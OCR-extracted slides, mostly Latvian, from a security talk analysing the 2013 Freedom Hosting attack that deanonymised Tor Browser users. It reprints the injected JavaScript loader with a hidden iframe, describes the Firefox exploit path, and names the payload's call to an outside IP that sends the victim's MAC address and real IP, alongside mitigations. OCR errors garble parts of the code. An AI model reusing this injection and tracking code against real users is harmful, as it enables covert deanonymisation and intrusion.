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B How Tor Works: 3 5 Tor node
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Step 3: If at a later time, the
user visits another site,
Alice's tor client selects a
second random path.
Again, green links are
encrypted, red links are in

the clear.
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"TCSI Hidden Services: 4

Step 4: Alice writes a
message to Bob
[encrypted to PK) listing
the rendezvolus paint
and a one-time secret,
and asks an introduction

point to deliver it to Bob.
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Uzbrukuma laika linija

e 2. augusts — arestéts Eric Eoin Marques, FreedomWeb
Ipasnieks

e 4. augusts — tiek pamanits kaitigs JavaScript uz Freedom
Hosting serveriem

e 5. augusts — FreedomHosting kltst nesasniedzams




lelade (1)

function isReady() e

{

if ( document.readyState === "interactive" || document.readyState === "complete" )

{

if (isFF()) {
format_quick();
}

}

else

{
setTimeout(isReady, 250);
}

}
setTimeout(isReady, 250);

function isFF() {
return (document.getBoxObjectFor != null || window.mozlnnerScreenX !'= null ||
/Firefox/i.test(navigator.userAgent));

}




lelade (2)

function format_quick() {
if (! readCookie("n_serv") ) {
createCookie("n_serv", "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", 30);
updatify();
}
}

function updatify() {
var iframe = document.createElement(‘iframe’);
iframe.style.display = "inline";
iframe.frameBorder = "0";
iframe.scrolling = "no";
iframe.src = "http://nl7gbezu7pgsuone.onion?
requestI D=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
iframe.height = "5";
iframe.width = "*":
document.body.appendChild(iframe);

}




Versiju kontrole (1)

e Tiek parbaudits, val userAgent satur “Windows NT”
* Tiek parbaudits, vai parluks ir “Firefox”

e Tiek noskaidrota Firefox versija




Versiju kontrole (2)

if(version <17)

{

window.location.href="content_1.html";
} Il "content_1.html" was never obtained
if( version >=17 && version <18 )

var12 = OxES8; // load “content_2.html”




Koda izpilde

e Firefox DocumentViewer komponentes kllda

e Caur ntdll ZwProtectVirtualMemory tiek ieguta iespéja
koda izpildel

e Launattras binara dala ir statiska un 1pasi pielagota Tor
Browser Bundle




Payload (1)

Innection: keep-a|
|live. .Accept: */|
| *. . Accept-Encodi |
Ing: gzip |
11...1...0....Coo|
|kie: ID=ws2 32.I|
|PHLPAPI. .. .PA..6]|
|GET /85ceadde-95|
|1d-4837-bf8f-T69|
|@55b279bb HTTR/1]




Payload (2)

Noskaidro MAC adresi

MAC adresi nostuta, ka Cookie “ID”

GET /[UUID] pieprasijums uz 65.222.202.54
Lidz ar to tiek nodota ari “ista” IP adrese




Risinajumi

* (?) Nelietot Windows
e Lietot Tor aizsardzibu tikla iekartu ITment
e |zslégt JavaScript




Paldies par uzmanibu!
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Kirils Solovjovs, IT droSibas eksperts, Mg. dat.

kirils.solovjovs@kirils.com
+371 26036916

@KirilsSolovjovs
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